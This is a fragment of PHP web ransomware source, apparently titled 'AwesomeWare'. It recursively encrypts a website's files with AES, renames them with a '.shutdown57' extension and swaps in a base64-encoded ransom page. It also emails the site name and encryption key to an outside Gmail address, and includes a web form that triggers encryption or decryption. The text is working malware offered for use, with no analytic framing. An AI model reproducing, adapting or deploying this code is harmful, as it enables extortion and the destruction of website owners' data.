.htaccess (Default Page)
'; } if(file_put_contents("shutdown57.php", base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgPHRpdGxlPkhpICEgc2h1dGRvd241NyA6 KjwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHkgewogICAgYmFja2dyb3VuZDog IzFBMUMxRjsKICAgIGNvbG9yOiAjZTJlMmUyOwp9CmF7CiAgIGNvbG9yOnJlZDsKICAgdGV4dC1k ZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXJ7CiAgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7 Cn0KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGNlbnRlcj4KPHByZT48Zm9udCBjb2xvcj1yZWQ+ CiAgX19fX19fX19fX19fX19fICAgICAgICAgIHwqXF8vKnxfX19fX19fXwogfCAgX19fX19fX19f X18gIHwgICAgICAgIHx8Xy8tXF98X19fX19fICB8CiB8IHwgICA+ICAgPCAgIHwgfCAgICAgICAg fCB8ICAgMCAgIDwgICB8IHwKIHwgfCAgICAgLSAgICAgfCB8ICAgICAgICB8IHwgICAgIC0gICAg IHwgfAogfCB8ICAgXF9fXy8gICB8IHwgICAgICAgIHwgfCAgIFxfX18vICAgfCB8CiB8X19fX198 XF8vfF9fX19ffCAgICAgICAgfF9fX19fX19fX19fX19fX3w8L2ZvbnQ+CiAgLyAqKioqKioqKioq IFwuLi4uLi4uLi4uLiAvICoqKioqKioqKiogXAovICAqKioqKioqKioqKiogIFwgICAgICAgIC8g ICoqKioqKioqKioqKiAgXAotLS0tLS0tLS0tLS0tLS0tLS0tLSAgICAgIC0tLS0tLS0tLS0tLS0t LS0tLS0tCistLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsK ICAgWyA8YSBocmVmPSdtYWlsdG86aW5kb25lc2lhbnBlb3BsZS5zaHV0ZG93bjU3QGdtYWlsLmNv bSc+aW5kb25lc2lhbnBlb3BsZS5zaHV0ZG93bjU3QGdtYWlsLmNvbTwvYT4gXQorLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwp8IFRoaXMg cGFnZSBoYXMgYmVlbiBMb2NrZWQgISBSZWFkIG1vcmUgYWJvdXQgPGEgaHJlZj0iaHR0cHM6Ly9l bi53aWtpcGVkaWEub3JnL3dpa2kvUmFuc29td2FyZSIgdGFyZ2V0PSJfYmxhbmsiPnJhbnNvbWV3 YXJlPC9hPiB8CnwgSG93IHRvIHJlc3RvcmUgdGhlIGJlZ2lubmluZz8gICAgICAgfCsrKysrKysr KysrKysrKysrKyt8CnwgUGxlYXNlIGNvbnRhY3QgdXMgdmlhIGVtYWlsIGxpc3RlZCAgfCAgICAg c2h1dGRvd241NyAgICB8CistLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0rCjwvcHJlPgo8L2NlbnRlcj4KPC9ib2R5Pgo8L2h0bWw+Cg== "))){ echo ' shutdown57.php (Default Page)
'; } } } public function shcpackUnstall(){ if( file_exists(".htashutdown57") ){ if( unlink(".htaccess") && unlink("shutdown57.php") ){ echo ' .htaccess (Default Page)
'; echo ' shutdown57.php (Default Page)
'; } rename(".htashutdown57", ".htaccess"); } } public function plus(){ flush(); ob_flush(); } public function locate(){ return getcwd(); } public function shcdirs($dir,$method,$key){ switch ($method) { case '1': deRanSomeware::shcpackInstall(); break; case '2': deRanSomeware::shcpackUnstall(); break; } foreach(scandir($dir) as $d) { if($d!='.' && $d!='..') { $locate = $dir.DIRECTORY_SEPARATOR.$d; if(!is_dir($locate)){ if( deRanSomeware::kecuali($locate,"awesome1945.php") && deRanSomeware::kecuali($locate,".png") && deRanSomeware::kecuali($locate,".htaccess") && deRanSomeware::kecuali($locate,"shutdown57.php") && deRanSomeware::kecuali($locate,"index.php") && deRanSomeware::kecuali($locate,".htashutdown57") ){ switch ($method) { case '1': deRanSomeware::shcEnCry($key,$locate); deRanSomeware::shcEnDesDirS($locate,"1"); break; case '2': deRanSomeware::shcDeCry($key,$locate); deRanSomeware::shcEnDesDirS($locate,"2"); break; } } }else{ deRanSomeware::shcdirs($locate,$method,$key); } } deRanSomeware::plus(); } deRanSomeware::report($key); } public function report($key){ $message.= "========= Report Ransomware =========\n"; $message.= "Website : ".$_SERVER['HTTP_HOST']; $message.= "Key : ".$key; $message.= "========= Indonesian (2017) Ransomware =========\n"; $subject = "Report Ransomeware !"; $headers = "From: Ransomware \r\n"; mail("indonesianpeople.shutdown57@gmail.com",$subject,$message,$headers); } public function shcEnDesDirS($locate,$method){ switch ($method) { case '1': rename($locate, $locate.".shutdown57"); break; case '2': $locates = str_replace(".shutdown57", "", $locate); rename($locate, $locates); break; } } public function shcEnCry($key,$locate){ $data = file_get_contents($locate); $iv = mcrypt_create_iv( mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC), MCRYPT_DEV_URANDOM ); $encrypted = base64_encode( $iv . mcrypt_encrypt( MCRYPT_RIJNDAEL_128, hash('sha256', $key, true), $data, MCRYPT_MODE_CBC, $iv ) ); if(file_put_contents($locate, $encrypted )){ echo ' Locked (Success) | '.$locate.'
'; }else{ echo ' Locked (Failed) | '.$locate.'
'; } } public function shcDeCry($key,$locate){ $data = base64_decode( file_get_contents($locate) ); $iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)); $decrypted = rtrim( mcrypt_decrypt( MCRYPT_RIJNDAEL_128, hash('sha256', $key, true), substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)), MCRYPT_MODE_CBC, $iv ), "\0" ); if(file_put_contents($locate, $decrypted )){ echo ' Unlock (Success) | '.$locate.'
'; }else{ echo ' Unlock (Failed) | '.$locate.'
'; } } public function kecuali($ext,$name){ $re = "/({$name})/"; preg_match($re, $ext, $matches); if($matches[1]){ return false; } return true; } } if($_POST['submit']){ switch ($_POST['method']) { case '1': deRanSomeware::shcdirs(deRanSomeware::locate(),"1",$_POST['key']); break; case '2': deRanSomeware::shcdirs(deRanSomeware::locate(),"2",$_POST['key']); break; } }else{ ?>

AwesomeWare - indonesianpeople

indonesianpeople.shutdown57[at]gmail[dot]com